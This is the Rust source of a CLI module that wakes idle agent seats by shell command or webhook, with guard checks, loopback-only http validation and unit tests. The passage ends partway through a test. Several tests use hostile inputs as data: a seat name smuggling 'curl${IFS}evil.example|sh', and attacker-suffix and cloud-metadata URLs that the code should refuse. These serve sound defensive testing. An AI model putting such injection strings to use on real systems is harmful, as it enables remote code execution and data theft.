Skip to main content

ljos_cli/
wake.rs

1//! Wake a seat when mail reaches it.
2//!
3//! Mail waits in the pack until the recipient's next prompt reads it, and
4//! an idle agent has no next prompt. A seat names how to wake it in
5//! `wake.toml` beside `harnesses.toml`: a command this machine runs, or a
6//! webhook it posts to. `ljos send` and `ljos reply` start that wake in its
7//! own session after the message is written, so the sender neither waits
8//! on it nor fails with it, and the sender needs to know nothing about the
9//! recipient's runner.
10//!
11//! A command runs as `sh -c` with the recipient's seat in `LJOS_SEAT`, so
12//! `ljos inbox` in it reads the recipient's mail. It is judged by the same
13//! guard a tool call is, when it is set and again each time it runs, and a
14//! `deny` or an `ask` keeps it from running: nobody is there to ask.
15//! A webhook gets only the envelope (seat, sender, message id, issue,
16//! interrupt), never the body, and its key is read from a file or an
17//! environment variable, never from `wake.toml`.
18//!
19//! A key that ends in `-` is a prefix. Mail to a longer seat that starts
20//! with it uses that wake, so a run named `ljosbot-review-` plus its run
21//! id wakes the launcher. An exact key wins, and the longest prefix wins
22//! when several match. The envelope still names the run's seat and carries
23//! the matched prefix as `via`.
24//!
25//! In push mode the letter is in this machine's pack and not yet on the
26//! tracker the other machine reads. The detached wake pushes the sealed
27//! log before it runs the command or posts the webhook, so the send
28//! itself does not wait. A refused push is a line in the wake log. The
29//! wake still runs, and the send still stands.
30//!
31//! The envelope carries the tracker commit that holds the log, when push
32//! mode made one. A command sees `LJOS_WAKE_COMMIT`, and a webhook's JSON
33//! has `commit`. The field is absent when no log commit was made. The
34//! other machine fetches that commit with `ljos inbox --sync`, imports
35//! the sealed logs, and then lists. With no remote the flag only lists.
36
37use std::collections::BTreeMap;
38use std::io::Write;
39#[cfg(unix)]
40use std::os::fd::AsRawFd;
41use std::path::{Path, PathBuf};
42use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
43
44use anyhow::{bail, Context, Result};
45use serde::{Deserialize, Serialize};
46
47/// How long a wake command may run before it is stopped, in seconds.
48pub const WAKE_TIMEOUT_SECS: u64 = 30;
49
50/// How long a webhook post may take, in seconds.
51const WEBHOOK_TIMEOUT_SECS: u64 = 10;
52
53/// `source` on a wake `ljos cloud up` wrote from `LJOS_WAKE_<SEAT>_URL`.
54pub(crate) const ENV_SOURCE: &str = "env";
55
56/// One seat's wake: a command or a webhook.
57#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
58pub struct Wake {
59    /// A shell line this machine runs.
60    #[serde(default, skip_serializing_if = "Option::is_none")]
61    pub command: Option<String>,
62    /// A URL this machine posts the envelope to, such as a Grok Bot
63    /// routine's webhook.
64    #[serde(default, skip_serializing_if = "Option::is_none")]
65    pub webhook: Option<String>,
66    /// A file holding the webhook's bearer key.
67    #[serde(default, skip_serializing_if = "Option::is_none")]
68    pub key_file: Option<String>,
69    /// An environment variable holding the webhook's bearer key.
70    #[serde(default, skip_serializing_if = "Option::is_none")]
71    pub key_env: Option<String>,
72    /// Seconds before a command is stopped. Absent: [`WAKE_TIMEOUT_SECS`].
73    #[serde(default, skip_serializing_if = "Option::is_none")]
74    pub timeout: Option<u64>,
75    /// Who wrote this entry. [`ENV_SOURCE`] is `ljos cloud up`. Absent means
76    /// a person set it, and a later `cloud up` leaves it alone.
77    #[serde(default, skip_serializing_if = "Option::is_none")]
78    pub source: Option<String>,
79}
80
81/// The message a wake is about.
82#[derive(Debug, Clone, Default, PartialEq, Eq)]
83pub struct Event {
84    pub seat: String,
85    pub from: String,
86    pub msg: String,
87    pub issue: Option<String>,
88    pub interrupt: bool,
89    /// The tracker commit whose tree holds the sealed log, when push
90    /// mode made one. Absent otherwise.
91    pub commit: Option<String>,
92}
93
94/// Where the wakes are kept: `wake.toml` beside `harnesses.toml`.
95#[must_use]
96pub fn path() -> PathBuf {
97    super::harnesses_path().with_file_name("wake.toml")
98}
99
100/// Every seat's wake, keyed by seat or by a prefix (a key ending in `-`).
101/// An absent or unreadable file is no wakes.
102#[must_use]
103pub fn load() -> BTreeMap<String, Wake> {
104    std::fs::read_to_string(path())
105        .ok()
106        .and_then(|text| toml::from_str(&text).ok())
107        .unwrap_or_default()
108}
109
110#[cfg(test)]
111fn load_for_write() -> Result<BTreeMap<String, Wake>> {
112    load_path_for_write(&path())
113}
114
115fn load_path_for_write(wake_path: &Path) -> Result<BTreeMap<String, Wake>> {
116    let text = match std::fs::read_to_string(wake_path) {
117        Ok(text) => text,
118        Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(BTreeMap::new()),
119        Err(err) => {
120            return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
121        }
122    };
123    toml::from_str(&text).with_context(|| format!("wake: parse {}", wake_path.display()))
124}
125
126fn render(table: &BTreeMap<String, Wake>) -> Result<String> {
127    Ok(format!(
128        "# Wakes `ljos send` starts when mail reaches a seat. A name ending in -\n\
129         # matches every longer seat that starts with it. `ljos wake --help` sets them.\n{}",
130        toml::to_string(table)?
131    ))
132}
133
134fn lock_path(wake_path: &Path) -> PathBuf {
135    let mut name = wake_path
136        .file_name()
137        .map(|n| n.to_os_string())
138        .unwrap_or_else(|| "wake.toml".into());
139    name.push(".lock");
140    wake_path.with_file_name(name)
141}
142
143#[cfg(unix)]
144fn lock_exclusive(file: &std::fs::File) -> std::io::Result<()> {
145    let rc = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
146    if rc == 0 {
147        Ok(())
148    } else {
149        Err(std::io::Error::last_os_error())
150    }
151}
152
153#[cfg(not(unix))]
154fn lock_exclusive(_file: &std::fs::File) -> std::io::Result<()> {
155    Ok(())
156}
157
158#[cfg(unix)]
159fn wake_file_mode(wake_path: &Path) -> u32 {
160    use std::os::unix::fs::PermissionsExt;
161
162    std::fs::symlink_metadata(wake_path)
163        .ok()
164        .filter(|meta| meta.file_type().is_file())
165        .map(|meta| meta.permissions().mode() & 0o777)
166        .unwrap_or(0o600)
167}
168
169fn save_atomic(wake_path: &Path, table: &BTreeMap<String, Wake>) -> Result<()> {
170    let text = render(table)?;
171    let dir = wake_path
172        .parent()
173        .context("wake: no directory for wake.toml")?;
174    std::fs::create_dir_all(dir)?;
175    let stamp = SystemTime::now()
176        .duration_since(UNIX_EPOCH)
177        .unwrap_or_default()
178        .as_nanos();
179    let mut tmp_name = wake_path
180        .file_name()
181        .map(|n| n.to_os_string())
182        .unwrap_or_else(|| "wake.toml".into());
183    tmp_name.push(format!(".tmp-{}-{stamp}", std::process::id()));
184    let tmp = dir.join(tmp_name);
185    #[cfg(unix)]
186    let mode = wake_file_mode(wake_path);
187    {
188        let mut options = std::fs::OpenOptions::new();
189        options.create_new(true).write(true);
190        #[cfg(unix)]
191        {
192            use std::os::unix::fs::OpenOptionsExt;
193            options.mode(0o600);
194        }
195        let mut out = options
196            .open(&tmp)
197            .with_context(|| format!("wake: {}", tmp.display()))?;
198        out.write_all(text.as_bytes())
199            .with_context(|| format!("wake: {}", tmp.display()))?;
200        out.sync_all()
201            .with_context(|| format!("wake: {}", tmp.display()))?;
202    }
203    #[cfg(unix)]
204    {
205        use std::os::unix::fs::PermissionsExt;
206        std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(mode))
207            .with_context(|| format!("wake: mode {mode:04o} {}", tmp.display()))?;
208    }
209    if let Err(err) = std::fs::rename(&tmp, wake_path) {
210        let _ = std::fs::remove_file(&tmp);
211        return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
212    }
213    Ok(())
214}
215
216fn edit_table<T>(edit: impl FnOnce(&mut BTreeMap<String, Wake>) -> Result<(T, bool)>) -> Result<T> {
217    let wake_path = path();
218    if let Some(dir) = wake_path.parent() {
219        std::fs::create_dir_all(dir)?;
220    }
221    let lock_file_path = lock_path(&wake_path);
222    let lock = std::fs::OpenOptions::new()
223        .create(true)
224        .read(true)
225        .write(true)
226        .truncate(false)
227        .open(&lock_file_path)
228        .with_context(|| format!("wake: {}", lock_file_path.display()))?;
229    lock_exclusive(&lock).with_context(|| format!("wake: lock {}", lock_file_path.display()))?;
230    let mut table = load_path_for_write(&wake_path)?;
231    let (out, changed) = edit(&mut table)?;
232    if changed {
233        save_atomic(&wake_path, &table)?;
234    }
235    Ok(out)
236}
237
238/// The guard's verdict on a wake command: the seat's own guard, the
239/// trusted computing base (the static check, which includes the commit,
240/// push, and merge gates), then the pack's rules and the ask pack.
241/// `None` lets it run.
242#[must_use]
243pub fn judge(command: &str) -> Option<super::Rule> {
244    super::seat_guard(command)
245        .or_else(|| super::tcb_verdict(command))
246        .or_else(|| super::ruled_verdict(&super::rules_for_gate(), command))
247}
248
249fn refusal(command: &str, rule: &super::Rule) -> String {
250    format!(
251        "the guard says {} on `{command}`: {} (rule: {}). A wake runs with nobody to ask, so it does not run",
252        rule.verdict, rule.reason, rule.pattern
253    )
254}
255
256/// `https`, or `http` whose host is exactly `localhost`, an IPv4 loopback
257/// address, or `::1`. The host is parsed, so a name that only begins with
258/// one of those (such as `localhost.attacker.invalid`) is not loopback.
259pub(crate) fn check_webhook(url: &str) -> Result<()> {
260    if !webhook_host_allowed(url) {
261        bail!("wake: {url} is not https, nor http on this machine");
262    }
263    Ok(())
264}
265
266fn webhook_host_allowed(url: &str) -> bool {
267    let Ok(parsed) = url::Url::parse(url) else {
268        return false;
269    };
270    match parsed.scheme() {
271        "https" => parsed.host().is_some(),
272        "http" => http_host_is_loopback(parsed.host()),
273        _ => false,
274    }
275}
276
277fn http_host_is_loopback(host: Option<url::Host<&str>>) -> bool {
278    match host {
279        Some(url::Host::Domain(name)) => name.eq_ignore_ascii_case("localhost"),
280        Some(url::Host::Ipv4(addr)) => addr.is_loopback(),
281        // `Ipv6Addr::is_loopback` is `::1` only, not an IPv4-mapped address.
282        Some(url::Host::Ipv6(addr)) => addr.is_loopback(),
283        None => false,
284    }
285}
286
287/// Set a seat's wake command, after the guard passes it.
288///
289/// # Errors
290///
291/// The guard refuses the command, or `wake.toml` cannot be written.
292pub fn set_command(seat: &str, command: &str, timeout: Option<u64>) -> Result<String> {
293    let command = command.trim();
294    if command.is_empty() {
295        bail!("wake: empty command");
296    }
297    if let Some(rule) = judge(command) {
298        bail!("wake: {}", refusal(command, &rule));
299    }
300    let next = Wake {
301        command: Some(command.to_string()),
302        timeout,
303        ..Wake::default()
304    };
305    edit_table(|table| {
306        let changed = table.get(seat) != Some(&next);
307        if changed {
308            table.insert(seat.to_string(), next.clone());
309        }
310        Ok(((), changed))
311    })?;
312    Ok(format!("wake {seat}: runs `{command}` {}\n", reaches(seat)))
313}
314
315/// Set a seat's webhook. The key stays in its file or variable.
316///
317/// # Errors
318///
319/// The URL is not https, and not http on localhost or a loopback
320/// address, or `wake.toml` cannot be written.
321pub fn set_webhook(
322    seat: &str,
323    url: &str,
324    key_file: Option<&str>,
325    key_env: Option<&str>,
326) -> Result<String> {
327    let url = url.trim();
328    check_webhook(url)?;
329    let next = Wake {
330        webhook: Some(url.to_string()),
331        key_file: key_file.map(str::to_string),
332        key_env: key_env.map(str::to_string),
333        ..Wake::default()
334    };
335    edit_table(|table| {
336        let changed = table.get(seat) != Some(&next);
337        if changed {
338            table.insert(seat.to_string(), next.clone());
339        }
340        Ok(((), changed))
341    })?;
342    Ok(format!("wake {seat}: posts to {url} {}\n", reaches(seat)))
343}
344
345/// Write the webhook `ljos cloud up` owns for `seat`.
346///
347/// A later run may replace it. [`set_webhook`] leaves `source` empty, so
348/// a wake set by hand is not this one.
349///
350/// # Errors
351///
352/// The URL is not https, and not http on localhost or a loopback
353/// address, or `wake.toml` cannot be written.
354pub(crate) fn set_env_webhook(seat: &str, url: &str, key_env: &str) -> Result<bool> {
355    let url = url.trim();
356    check_webhook(url)?;
357    let next = Wake {
358        webhook: Some(url.to_string()),
359        key_env: Some(key_env.to_string()),
360        source: Some(ENV_SOURCE.to_string()),
361        ..Wake::default()
362    };
363    edit_table(|table| {
364        let hand_set = table
365            .get(seat)
366            .is_some_and(|wake| wake.source.as_deref() != Some(ENV_SOURCE));
367        if hand_set {
368            return Ok((false, false));
369        }
370        let changed = table.get(seat) != Some(&next);
371        if changed {
372            table.insert(seat.to_string(), next.clone());
373        }
374        Ok((true, changed))
375    })
376}
377
378/// Remove one env-owned wake entry.
379///
380/// Returns whether an env-owned entry was present and removed.
381pub(crate) fn clear_env_webhook(seat: &str) -> Result<bool> {
382    edit_table(|table| {
383        let remove = table
384            .get(seat)
385            .is_some_and(|wake| wake.source.as_deref() == Some(ENV_SOURCE));
386        if remove {
387            table.remove(seat);
388        }
389        Ok((remove, remove))
390    })
391}
392
393/// Remove a seat's wake.
394///
395/// # Errors
396///
397/// `wake.toml` cannot be written.
398pub fn clear(seat: &str) -> Result<String> {
399    edit_table(|table| {
400        if table.remove(seat).is_none() {
401            if let Some((key, _)) = resolve(table, seat) {
402                if key != seat {
403                    return Ok((
404                        format!("wake {seat}: none set; matches {key}. clear {key} to remove it\n"),
405                        false,
406                    ));
407                }
408            }
409            return Ok((format!("wake {seat}: none set\n"), false));
410        }
411        Ok((format!("wake {seat}: removed\n"), true))
412    })
413}
414
415/// What a seat's wake is, in one line. A seat with no entry of its own
416/// uses the longest prefix entry, and the line names that prefix.
417#[must_use]
418pub fn show(seat: &str) -> String {
419    let table = load();
420    let Some((key, wake)) = resolve(&table, seat) else {
421        return none_set(seat);
422    };
423    let how = if let Some(command) = &wake.command {
424        format!("runs `{command}`")
425    } else if let Some(url) = &wake.webhook {
426        format!("posts to {url}")
427    } else {
428        return none_set(seat);
429    };
430    if key != seat {
431        format!("wake {seat}: {how} (matches {key})\n")
432    } else if is_prefix_key(key) {
433        format!("wake {seat}: {how} when mail reaches a seat that starts with it\n")
434    } else {
435        format!("wake {seat}: {how}\n")
436    }
437}
438
439fn none_set(seat: &str) -> String {
440    format!(
441        "wake {seat}: none set, so mail waits for its next prompt. `ljos wake --command CMD` sets one\n"
442    )
443}
444
445/// How a newly set wake describes the seats it covers.
446fn reaches(seat: &str) -> &'static str {
447    if is_prefix_key(seat) {
448        "when mail reaches a seat that starts with it"
449    } else {
450        "when mail reaches it"
451    }
452}
453
454/// A key ending in one `-`, with a name before it, matches every longer
455/// seat that starts with that key. `ljosbot-review-` matches
456/// `ljosbot-review-abc` and not `ljosbot-reviewer`.
457fn is_prefix_key(key: &str) -> bool {
458    matches!(key.strip_suffix('-'), Some(stem) if !stem.is_empty() && !stem.ends_with('-'))
459}
460
461/// The wake `seat` runs: its own entry, else the longest prefix entry.
462fn resolve<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<(&'a str, &'a Wake)> {
463    if let Some((key, wake)) = table.get_key_value(seat) {
464        return Some((key.as_str(), wake));
465    }
466    // Prefix wakes are only for canonical run seats.
467    if super::seat_slug(seat) != seat {
468        return None;
469    }
470    table
471        .iter()
472        .filter(|(key, _)| {
473            is_prefix_key(key) && seat.len() > key.len() && seat.starts_with(key.as_str())
474        })
475        .max_by_key(|(key, _)| key.len())
476        .map(|(key, wake)| (key.as_str(), wake))
477}
478
479/// The wake a delivered message runs. A prefix key itself is not a seat.
480fn resolve_delivery<'a>(
481    table: &'a BTreeMap<String, Wake>,
482    seat: &str,
483) -> Option<(&'a str, &'a Wake)> {
484    let (key, wake) = resolve(table, seat)?;
485    (key != seat || !is_prefix_key(key)).then_some((key, wake))
486}
487
488fn matched_prefix<'a>(key: &'a str, seat: &str) -> Option<&'a str> {
489    (key != seat && is_prefix_key(key)).then_some(key)
490}
491
492fn launcher_seat(key: &str) -> &str {
493    if is_prefix_key(key) {
494        key.strip_suffix('-').unwrap_or(key)
495    } else {
496        key
497    }
498}
499
500fn wake_target(seat: &str, key: &str) -> String {
501    if let Some(via) = matched_prefix(key, seat) {
502        format!("{} via {via} for {seat}", launcher_seat(via))
503    } else {
504        key.to_string()
505    }
506}
507
508/// `LJOS_TRACKER_GIT=push`, the mode a cloud seat uses. Commit-only and
509/// off leave the log where the sitting's own sync puts it.
510fn push_mode() -> bool {
511    std::env::var("LJOS_TRACKER_GIT").as_deref() == Ok("push")
512}
513
514fn log_path() -> PathBuf {
515    std::env::var_os("XDG_STATE_HOME")
516        .map(PathBuf::from)
517        .or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".local/state")))
518        .unwrap_or_else(|| PathBuf::from(".local/state"))
519        .join("ljos")
520        .join("mail")
521        .join("wake.log")
522}
523
524fn log(line: &str) {
525    let path = log_path();
526    if let Some(dir) = path.parent() {
527        let _ = std::fs::create_dir_all(dir);
528    }
529    if let Ok(mut f) = std::fs::OpenOptions::new()
530        .create(true)
531        .append(true)
532        .open(&path)
533    {
534        let _ = writeln!(f, "{} {line}", super::now_utc());
535    }
536}
537
538/// The `ljos` a detached wake runs. `LJOS_WAKE_BIN` is the test stand-in.
539fn wake_bin() -> Option<String> {
540    if let Some(bin) = std::env::var_os("LJOS_WAKE_BIN").filter(|b| !b.is_empty()) {
541        return Some(bin.to_string_lossy().into_owned());
542    }
543    let me = std::env::current_exe().ok();
544    let beside = me.as_ref().map(|m| m.with_file_name("ljos"));
545    me.filter(|m| m.file_stem().is_some_and(|s| s == "ljos"))
546        .or(beside.filter(|p| p.is_file()))
547        .or_else(|| which::which("ljos").ok())
548        .map(|p| p.display().to_string())
549}
550
551/// Start the wake of each recipient that has one, or whose seat matches a
552/// prefix entry, each in its own session, and name the seats woken.
553/// Nothing here fails the send: a wake that cannot start is a line in the
554/// wake log.
555#[must_use]
556pub fn spawn(events: &[Event]) -> Vec<String> {
557    let table = load();
558    let mut woken = Vec::new();
559    for event in events {
560        let Some((key, _)) = resolve_delivery(&table, &event.seat) else {
561            continue;
562        };
563        let Some(bin) = wake_bin() else {
564            log(&format!("{}: no ljos to run the wake", event.seat));
565            continue;
566        };
567        let mut args = vec![
568            "wake".to_string(),
569            event.seat.clone(),
570            "--fire".into(),
571            "--from".into(),
572            event.from.clone(),
573            "--msg".into(),
574            event.msg.clone(),
575        ];
576        if let Some(issue) = &event.issue {
577            args.push("--issue".into());
578            args.push(issue.clone());
579        }
580        if event.interrupt {
581            args.push("--interrupt".into());
582        }
583        // The detached run writes its outcome to the wake log itself, and
584        // what it prints would only repeat it.
585        match super::detach(&bin, &args, std::path::Path::new("/dev/null")) {
586            Ok(()) => woken.push(wake_target(&event.seat, key)),
587            Err(e) => log(&format!("{}: the wake did not start: {e:#}", event.seat)),
588        }
589    }
590    woken
591}
592
593/// The envelope a webhook gets. The body stays in the pack. When the
594/// log's commit is known, `read` names `ljos inbox --sync COMMIT`.
595#[must_use]
596pub fn envelope(event: &Event) -> serde_json::Value {
597    let seat = crate::tools::sh_quote(&event.seat);
598    let read = match &event.commit {
599        Some(commit) => format!("LJOS_SEAT={seat} ljos inbox --sync {commit}"),
600        None => format!("LJOS_SEAT={seat} ljos inbox"),
601    };
602    let mut v = serde_json::json!({
603        "event": "ljos-mail",
604        "seat": event.seat,
605        "from": event.from,
606        "msg": event.msg,
607        "issue": event.issue,
608        "interrupt": event.interrupt,
609        "read": read,
610    });
611    if let Some(commit) = &event.commit {
612        v["commit"] = serde_json::Value::String(commit.clone());
613    }
614    v
615}
616
617fn webhook_key(wake: &Wake) -> Option<String> {
618    let from_file = wake.key_file.as_deref().and_then(|p| {
619        let path = p
620            .strip_prefix("~/")
621            .and_then(|rest| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(rest)))
622            .unwrap_or_else(|| PathBuf::from(p));
623        std::fs::read_to_string(path).ok()
624    });
625    from_file
626        .or_else(|| wake.key_env.as_deref().and_then(|v| std::env::var(v).ok()))
627        .map(|k| k.trim().to_string())
628        .filter(|k| !k.is_empty())
629}
630
631fn run_command(command: &str, event: &Event, timeout: Duration) -> Result<String> {
632    if let Some(rule) = judge(command) {
633        bail!("{}", refusal(command, &rule));
634    }
635    let mut cmd = std::process::Command::new("sh");
636    cmd.arg("-c")
637        .arg(command)
638        .env("LJOS_SEAT", &event.seat)
639        .env("LJOS_WAKE_SEAT", &event.seat)
640        .env("LJOS_WAKE_FROM", &event.from)
641        .env("LJOS_WAKE_MSG", &event.msg)
642        .env("LJOS_WAKE_ISSUE", event.issue.as_deref().unwrap_or(""))
643        .env(
644            "LJOS_WAKE_INTERRUPT",
645            if event.interrupt { "1" } else { "0" },
646        )
647        .stdin(std::process::Stdio::null());
648    match &event.commit {
649        Some(commit) => {
650            cmd.env("LJOS_WAKE_COMMIT", commit);
651        }
652        None => {
653            cmd.env_remove("LJOS_WAKE_COMMIT");
654        }
655    }
656    // What the command prints goes to the wake log, above the line that
657    // says how it ended.
658    let path = log_path();
659    if let Some(dir) = path.parent() {
660        let _ = std::fs::create_dir_all(dir);
661    }
662    if let Ok(out) = std::fs::OpenOptions::new()
663        .create(true)
664        .append(true)
665        .open(&path)
666    {
667        if let Ok(err) = out.try_clone() {
668            cmd.stdout(out).stderr(err);
669        }
670    }
671    let mut child = cmd.spawn().context("start the wake command")?;
672    let started = Instant::now();
673    loop {
674        if let Some(status) = child.try_wait()? {
675            if status.success() {
676                return Ok(format!("ran in {} ms", started.elapsed().as_millis()));
677            }
678            bail!("exited {status}");
679        }
680        if started.elapsed() >= timeout {
681            // The child's own pid, which this process started.
682            let _ = child.kill();
683            let _ = child.wait();
684            bail!("stopped after {} ms", timeout.as_millis());
685        }
686        std::thread::sleep(Duration::from_millis(20));
687    }
688}
689
690fn post(url: &str, wake: &Wake, event: &Event, via: Option<&str>) -> Result<String> {
691    check_webhook(url)?;
692    let agent = ureq::AgentBuilder::new()
693        .timeout(Duration::from_secs(WEBHOOK_TIMEOUT_SECS))
694        .redirects(0)
695        .build();
696    let mut req = agent.post(url).set("Content-Type", "application/json");
697    if let Some(key) = webhook_key(wake) {
698        req = req.set("Authorization", &format!("Bearer {key}"));
699    }
700    let started = Instant::now();
701    let mut envelope = envelope(event);
702    if let Some(via) = via {
703        envelope["via"] = serde_json::Value::String(via.to_string());
704    }
705    let resp = req.send_string(&envelope.to_string()).map_err(|e| {
706        anyhow::anyhow!("POST {url}: {}", e.to_string().replace(url, "the webhook"))
707    })?;
708    if (300..400).contains(&resp.status()) {
709        bail!(
710            "POST the webhook: refused redirect status {}",
711            resp.status()
712        );
713    }
714    Ok(format!(
715        "posted, {} in {} ms",
716        resp.status(),
717        started.elapsed().as_millis()
718    ))
719}
720
721/// Run one seat's wake now and say what happened. A prefix entry matches
722/// a longer seat that starts with it. The outcome is also a line in the
723/// wake log, since a detached wake has nobody to tell.
724///
725/// In push mode the sealed log is pushed first, from this process, which
726/// `send` and `reply` have already detached. The other machine can then
727/// read the letter. A push that does not land is recorded here and does
728/// not stop the wake. The envelope then names the commit that holds the
729/// log, including when the push was refused and the commit stayed local.
730///
731/// # Errors
732///
733/// The seat has no wake, the guard refuses its command, or the command or
734/// the post fails.
735pub fn fire(event: &Event) -> Result<String> {
736    let table = load();
737    let Some((key, wake)) = resolve_delivery(&table, &event.seat) else {
738        bail!("wake: {} has no wake set", event.seat);
739    };
740    let via = matched_prefix(key, &event.seat);
741    let named = wake_target(&event.seat, key);
742    // The letter is already in the pack. Pushing here, rather than in
743    // `send`, keeps the sender's wait to the detach. The other host's
744    // inbox stays empty until this push is on the remote. The commit is
745    // read after the push, so a refusal still names the local log.
746    let mut carried = event.clone();
747    if push_mode() {
748        if let Err(why) = super::sync::push_sealed_log() {
749            log(&format!("{}: {why:#}", carried.seat));
750        }
751        carried.commit = super::sync::log_commit();
752    }
753    let outcome = if let Some(command) = &wake.command {
754        let timeout = Duration::from_secs(wake.timeout.unwrap_or(WAKE_TIMEOUT_SECS).max(1));
755        run_command(command, &carried, timeout)
756    } else if let Some(url) = &wake.webhook {
757        post(url, wake, &carried, via)
758    } else {
759        Err(anyhow::anyhow!("neither a command nor a webhook"))
760    };
761    match outcome {
762        Ok(said) => {
763            log(&format!("{named} {}: {said}", carried.msg));
764            Ok(format!("wake {named}: {said}\n"))
765        }
766        Err(e) => {
767            log(&format!("{named} {}: {e:#}", carried.msg));
768            Err(e).context(format!("wake {named}"))
769        }
770    }
771}
772
773#[cfg(test)]
774mod tests {
775    use super::*;
776
777    #[test]
778    fn a_wake_reads_back_as_written_and_keeps_no_key() {
779        let mut table = BTreeMap::new();
780        table.insert(
781            "grok".to_string(),
782            Wake {
783                webhook: Some("https://api2.cursor.sh/automations/webhook/abc".into()),
784                key_file: Some("~/.config/ljos/grok.key".into()),
785                ..Wake::default()
786            },
787        );
788        table.insert(
789            "claude-review".to_string(),
790            Wake {
791                command: Some("claude -p --resume \"$SESSION\" 'ljos inbox'".into()),
792                timeout: Some(120),
793                ..Wake::default()
794            },
795        );
796        table.insert(
797            "ljosbot-review-".to_string(),
798            Wake {
799                webhook: Some("https://example.test/launch".into()),
800                key_env: Some("LJOS_WAKE_LAUNCHER_KEY".into()),
801                ..Wake::default()
802            },
803        );
804        let text = toml::to_string(&table).unwrap();
805        assert!(!text.contains("key ="), "{text}");
806        let back: BTreeMap<String, Wake> = toml::from_str(&text).unwrap();
807        assert_eq!(back, table);
808    }
809
810    #[test]
811    fn a_webhook_gets_the_envelope_and_not_the_body() {
812        let event = Event {
813            seat: "grok".into(),
814            from: "saddle".into(),
815            msg: "m1".into(),
816            issue: Some("Software-d9n6".into()),
817            interrupt: true,
818            commit: None,
819        };
820        let v = envelope(&event);
821        assert_eq!(v["seat"], "grok");
822        assert_eq!(v["msg"], "m1");
823        assert_eq!(v["interrupt"], true);
824        assert!(v.get("commit").is_none(), "{v}");
825        assert_eq!(v["read"], "LJOS_SEAT='grok' ljos inbox");
826        assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
827        let named = Event {
828            commit: Some("0123456789abcdef0123456789abcdef01234567".into()),
829            ..event
830        };
831        let named_v = envelope(&named);
832        assert_eq!(
833            named_v["commit"],
834            "0123456789abcdef0123456789abcdef01234567"
835        );
836        assert_eq!(
837            named_v["read"],
838            "LJOS_SEAT='grok' ljos inbox --sync 0123456789abcdef0123456789abcdef01234567"
839        );
840        assert!(check_webhook("http://example.com/hook").is_err());
841        assert!(check_webhook("https://api2.cursor.sh/automations/webhook/x").is_ok());
842        assert!(check_webhook("http://127.0.0.1:9/hook").is_ok());
843    }
844
845    #[test]
846    fn http_is_loopback_only_and_an_attacker_suffix_is_refused() {
847        for url in [
848            "http://localhost.attacker.invalid/hook",
849            "http://127.0.0.1.attacker.invalid/hook",
850            "http://localhost@attacker.invalid/hook",
851            "http://127.0.0.1@attacker.invalid/hook",
852            "http://example.com/hook",
853            "http://169.254.169.254/latest/meta-data",
854            "http://0.0.0.0/hook",
855            "http://[::2]/hook",
856        ] {
857            assert!(check_webhook(url).is_err(), "{url}");
858        }
859        for url in [
860            "https://api2.cursor.sh/automations/webhook/x",
861            "https://localhost.attacker.invalid/hook",
862            "http://127.0.0.1:9/hook",
863            "http://127.0.0.2/hook",
864            "http://2130706433/hook",
865            "http://localhost/hook",
866            "http://localhost:9/hook",
867            "http://[::1]/hook",
868            "http://[::1]:9/hook",
869            "http://[0:0:0:0:0:0:0:1]/hook",
870            "http://user:secret@127.0.0.1/hook",
871        ] {
872            assert!(check_webhook(url).is_ok(), "{url}");
873        }
874    }
875
876    #[test]
877    fn a_wake_that_runs_past_its_timeout_is_stopped() {
878        let event = Event {
879            seat: "slow".into(),
880            ..Event::default()
881        };
882        let started = Instant::now();
883        let err = run_command("sleep 5", &event, Duration::from_millis(300)).unwrap_err();
884        assert!(err.to_string().contains("stopped after"), "{err}");
885        assert!(started.elapsed() < Duration::from_secs(3));
886        let ok = run_command("test \"$LJOS_SEAT\" = slow", &event, Duration::from_secs(5));
887        assert!(ok.is_ok(), "{ok:?}");
888    }
889
890    fn hook(url: &str) -> Wake {
891        Wake {
892            webhook: Some(url.to_string()),
893            ..Wake::default()
894        }
895    }
896
897    fn matched<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<&'a str> {
898        resolve(table, seat).map(|(key, _)| key)
899    }
900
901    #[test]
902    fn a_prefix_matches_a_run_and_an_exact_name_wins() {
903        let mut table = BTreeMap::new();
904        table.insert("inky".into(), hook("https://example.test/inky"));
905        table.insert("ljosbot-".into(), hook("https://example.test/ljosbot"));
906        table.insert(
907            "ljosbot-review-".into(),
908            hook("https://example.test/review"),
909        );
910        table.insert(
911            "ljosbot-review-abc".into(),
912            hook("https://example.test/exact"),
913        );
914        table.insert("-".into(), hook("https://example.test/bare"));
915        table.insert("--".into(), hook("https://example.test/dashes"));
916        table.insert("a--".into(), hook("https://example.test/double"));
917
918        assert!(is_prefix_key("ljosbot-review-"));
919        assert!(is_prefix_key("a-"));
920        assert!(!is_prefix_key("ljosbot-review"));
921        assert!(!is_prefix_key("-"));
922        assert!(!is_prefix_key("--"));
923        assert!(!is_prefix_key("a--"));
924
925        assert_eq!(matched(&table, "inky"), Some("inky"));
926        assert_eq!(
927            matched(&table, "ljosbot-review-def"),
928            Some("ljosbot-review-")
929        );
930        assert_eq!(matched(&table, "ljosbot-fix-1"), Some("ljosbot-"));
931        // `ljosbot-` is a prefix of this seat too. The review prefix is longer.
932        assert_eq!(matched(&table, "ljosbot-reviewer"), Some("ljosbot-"));
933        assert_eq!(
934            matched(&table, "ljosbot-review-abc"),
935            Some("ljosbot-review-abc")
936        );
937        assert_eq!(matched(&table, "ljosbot"), None);
938        assert_eq!(matched(&table, "inky-2"), None);
939        assert_eq!(matched(&table, "a-b"), None);
940        assert_eq!(matched(&table, "-b"), None);
941
942        let mut review_only = BTreeMap::new();
943        review_only.insert(
944            "ljosbot-review-".into(),
945            hook("https://example.test/review"),
946        );
947        assert_eq!(
948            matched(&review_only, "ljosbot-review-def"),
949            Some("ljosbot-review-")
950        );
951        assert_eq!(
952            matched(&review_only, "ljosbot-review-x;curl${IFS}evil.example|sh"),
953            None
954        );
